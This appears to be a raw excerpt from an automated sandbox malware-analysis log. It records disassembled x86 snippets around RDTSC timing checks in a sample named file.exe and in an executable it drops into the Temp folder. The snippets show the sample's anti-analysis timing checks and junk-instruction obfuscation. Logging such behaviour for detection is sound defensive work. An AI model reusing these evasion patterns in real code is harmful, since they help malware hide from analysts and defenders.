Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B05C0 second address: 49B05FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-18h], esp 0x0000000c jmp 00007F8C34D41ADEh 0x00000011 mov eax, dword ptr fs:[00000018h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push ebx 0x0000001b pop esi 0x0000001c mov ecx, edx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B05FC second address: 49B0602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0602 second address: 49B0606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0606 second address: 49B0642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [eax+00000FDCh] 0x0000000e pushad 0x0000000f mov cl, D3h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F8C3524ADA1h 0x00000019 sub cx, 8456h 0x0000001e jmp 00007F8C3524ADA1h 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0642 second address: 49B069B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test ecx, ecx 0x0000000c jmp 00007F8C34D41AE0h 0x00000011 jns 00007F8C34D41B4Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F8C34D41AE8h 0x00000020 adc al, 00000008h 0x00000023 jmp 00007F8C34D41ADBh 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B069B second address: 49B06B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add eax, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov edi, eax 0x00000012 movzx ecx, bx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B06B1 second address: 49B06FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 pushfd 0x00000006 jmp 00007F8C34D41AE8h 0x0000000b or cx, 9CC8h 0x00000010 jmp 00007F8C34D41ADBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ecx, dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8C34D41AE5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B06FD second address: 49B070D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C3524AD9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B070D second address: 49B0711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0711 second address: 49B0727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C3524AD9Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0727 second address: 49B0739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C34D41ADEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A001C second address: 49A0020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0020 second address: 49A0026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0026 second address: 49A00EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524AD9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8C3524AD9Bh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F8C3524ADA4h 0x00000017 or ax, C228h 0x0000001c jmp 00007F8C3524AD9Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F8C3524ADA8h 0x00000028 adc ah, FFFFFF88h 0x0000002b jmp 00007F8C3524AD9Bh 0x00000030 popfd 0x00000031 popad 0x00000032 mov ebp, esp 0x00000034 pushad 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F8C3524ADA2h 0x0000003c and ah, FFFFFFE8h 0x0000003f jmp 00007F8C3524AD9Bh 0x00000044 popfd 0x00000045 pushad 0x00000046 popad 0x00000047 popad 0x00000048 mov edi, eax 0x0000004a popad 0x0000004b sub esp, 2Ch 0x0000004e jmp 00007F8C3524ADA0h 0x00000053 xchg eax, ebx 0x00000054 pushad 0x00000055 mov edi, ecx 0x00000057 popad 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F8C3524ADA2h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A00EA second address: 49A0113 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41ADBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov si, dx 0x0000000e popad 0x0000000f push ecx 0x00000010 jmp 00007F8C34D41ADAh 0x00000015 mov dword ptr [esp], edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0113 second address: 49A0130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0159 second address: 49A0176 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0176 second address: 49A017C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A017C second address: 49A01B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 mov bl, E1h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub edi, edi 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 mov bx, 3222h 0x00000014 popad 0x00000015 inc ebx 0x00000016 jmp 00007F8C34D41AE9h 0x0000001b test al, al 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov al, bl 0x00000022 push ecx 0x00000023 pop edx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01B5 second address: 49A01D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F8C3524AF3Dh 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01D4 second address: 49A01EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, dx 0x00000007 popad 0x00000008 popad 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8C34D41ADDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A02D6 second address: 49A02DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A02DC second address: 49A02E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A02E0 second address: 49A02F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C3524AD9Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A02F6 second address: 49A032D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41ADBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F8CA6CFFC5Dh 0x0000000f jmp 00007F8C34D41AE6h 0x00000014 js 00007F8C34D41B26h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A032D second address: 49A0331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0331 second address: 49A0337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0337 second address: 49A037F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c pushad 0x0000000d mov bx, ax 0x00000010 jmp 00007F8C3524AD9Ah 0x00000015 popad 0x00000016 jne 00007F8CA7208ED0h 0x0000001c jmp 00007F8C3524ADA0h 0x00000021 mov ebx, dword ptr [ebp+08h] 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A037F second address: 49A0387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0387 second address: 49A03FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 call 00007F8C3524AD9Eh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e lea eax, dword ptr [ebp-2Ch] 0x00000011 pushad 0x00000012 jmp 00007F8C3524ADA7h 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F8C3524ADA6h 0x0000001e xor ax, 3B28h 0x00000023 jmp 00007F8C3524AD9Bh 0x00000028 popfd 0x00000029 mov ax, 881Fh 0x0000002d popad 0x0000002e popad 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F8C3524ADA1h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A03FC second address: 49A0457 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e movsx edx, cx 0x00000011 popad 0x00000012 xchg eax, esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F8C34D41AE7h 0x0000001c xor ah, 0000002Eh 0x0000001f jmp 00007F8C34D41AE9h 0x00000024 popfd 0x00000025 movzx eax, bx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0457 second address: 49A045C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A045C second address: 49A04D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, di 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d pushfd 0x0000000e jmp 00007F8C34D41AE3h 0x00000013 sbb cx, F9EEh 0x00000018 jmp 00007F8C34D41AE9h 0x0000001d popfd 0x0000001e pop esi 0x0000001f pushad 0x00000020 mov dx, 1D02h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 popad 0x00000028 mov dword ptr [esp], eax 0x0000002b pushad 0x0000002c jmp 00007F8C34D41AE5h 0x00000031 push esi 0x00000032 mov bl, 44h 0x00000034 pop ecx 0x00000035 popad 0x00000036 push esp 0x00000037 pushad 0x00000038 movzx ecx, bx 0x0000003b mov ch, bh 0x0000003d popad 0x0000003e mov dword ptr [esp], ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A04D5 second address: 49A04D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A04D9 second address: 49A04F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0552 second address: 49A0558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0558 second address: 49A055C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A09E1 second address: 49A0A51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 10476299h 0x0000000e jmp 00007F8C3524ADA7h 0x00000013 xor dword ptr [esp], 66DDFEB1h 0x0000001a jmp 00007F8C3524ADA6h 0x0000001f call 00007F8CA71FFED5h 0x00000024 push 76952B70h 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov eax, dword ptr [esp+10h] 0x00000034 mov dword ptr [esp+10h], ebp 0x00000038 lea ebp, dword ptr [esp+10h] 0x0000003c sub esp, eax 0x0000003e push ebx 0x0000003f push esi 0x00000040 push edi 0x00000041 mov eax, dword ptr [769B4538h] 0x00000046 xor dword ptr [ebp-04h], eax 0x00000049 xor eax, ebp 0x0000004b push eax 0x0000004c mov dword ptr [ebp-18h], esp 0x0000004f push dword ptr [ebp-08h] 0x00000052 mov eax, dword ptr [ebp-04h] 0x00000055 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005c mov dword ptr [ebp-08h], eax 0x0000005f lea eax, dword ptr [ebp-10h] 0x00000062 mov dword ptr fs:[00000000h], eax 0x00000068 ret 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F8C3524ADA7h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A51 second address: 49A0A7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C34D41ADAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0AF8 second address: 49A0AFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C06B0 second address: 49C06C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C34D41AE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C06C8 second address: 49C06CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C06CC second address: 49C0717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8C34D41ADCh 0x00000010 sub al, 00000068h 0x00000013 jmp 00007F8C34D41ADBh 0x00000018 popfd 0x00000019 mov ch, 5Bh 0x0000001b popad 0x0000001c xchg eax, esi 0x0000001d jmp 00007F8C34D41ADBh 0x00000022 mov esi, dword ptr [ebp+0Ch] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov dh, 43h 0x0000002a call 00007F8C34D41ADCh 0x0000002f pop eax 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0717 second address: 49C071D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C071D second address: 49C0721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0721 second address: 49C07DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524AD9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8C3524AD9Eh 0x00000014 adc cx, 1958h 0x00000019 jmp 00007F8C3524AD9Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F8C3524ADA8h 0x00000025 and cx, 23B8h 0x0000002a jmp 00007F8C3524AD9Bh 0x0000002f popfd 0x00000030 popad 0x00000031 je 00007F8CA71D89CEh 0x00000037 jmp 00007F8C3524ADA6h 0x0000003c cmp dword ptr [769B459Ch], 05h 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 push ebx 0x00000047 pop ecx 0x00000048 pushfd 0x00000049 jmp 00007F8C3524ADA9h 0x0000004e sbb ecx, 241AFFB6h 0x00000054 jmp 00007F8C3524ADA1h 0x00000059 popfd 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C07DA second address: 49C0863 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 9Eh 0x00000005 pushfd 0x00000006 jmp 00007F8C34D41AE8h 0x0000000b sbb ax, 3208h 0x00000010 jmp 00007F8C34D41ADBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007F8CA6CE7761h 0x0000001f jmp 00007F8C34D41AE6h 0x00000024 xchg eax, esi 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F8C34D41ADEh 0x0000002c adc eax, 067AA798h 0x00000032 jmp 00007F8C34D41ADBh 0x00000037 popfd 0x00000038 mov si, A94Fh 0x0000003c popad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F8C34D41AE0h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0863 second address: 49C08C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8C3524ADA1h 0x00000009 add ax, 87E6h 0x0000000e jmp 00007F8C3524ADA1h 0x00000013 popfd 0x00000014 mov bx, cx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushfd 0x0000001f jmp 00007F8C3524ADA6h 0x00000024 jmp 00007F8C3524ADA5h 0x00000029 popfd 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C08C6 second address: 49C08CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0913 second address: 49C0917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0917 second address: 49C091D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5E90AD second address: 5E90B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5E91E6 second address: 5E9221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F8C34D41AE9h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F8C34D41AE4h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5E9221 second address: 5E9238 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5E9238 second address: 5E923C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5E995E second address: 5E9970 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F8C3524AD9Bh 0x00000008 pop esi 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5E9970 second address: 5E9981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007F8C34D41B0Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5E9981 second address: 5E999D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C3524ADA8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB3DD second address: 5EB3F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8C34D41ADCh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB3F2 second address: 5EB422 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C3524AD9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub edi, dword ptr [ebp+122D2D78h] 0x00000011 push 00000000h 0x00000013 jc 00007F8C3524AD99h 0x00000019 mov si, ax 0x0000001c call 00007F8C3524AD99h 0x00000021 push edi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB422 second address: 5EB426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB571 second address: 5EB590 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 sub cx, E6CBh 0x0000000e push 00000000h 0x00000010 mov edx, dword ptr [ebp+122D32E4h] 0x00000016 push 762FCCA7h 0x0000001b pushad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB590 second address: 5EB62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F8C34D41AE3h 0x0000000a popad 0x0000000b xor dword ptr [esp], 762FCC27h 0x00000012 adc esi, 22738B48h 0x00000018 call 00007F8C34D41ADFh 0x0000001d mov dword ptr [ebp+122D1BDBh], eax 0x00000023 pop edx 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007F8C34D41AD8h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 add dh, FFFFFF92h 0x00000043 mov edx, ebx 0x00000045 push 00000000h 0x00000047 mov dword ptr [ebp+122D1F31h], edx 0x0000004d push 00000003h 0x0000004f mov dl, 78h 0x00000051 call 00007F8C34D41AD9h 0x00000056 jmp 00007F8C34D41AE1h 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f jmp 00007F8C34D41ADBh 0x00000064 pushad 0x00000065 popad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB62A second address: 5EB654 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007F8C3524AD96h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 jmp 00007F8C3524ADA1h 0x00000016 pop esi 0x00000017 mov eax, dword ptr [eax] 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB654 second address: 5EB658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB658 second address: 5EB66B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
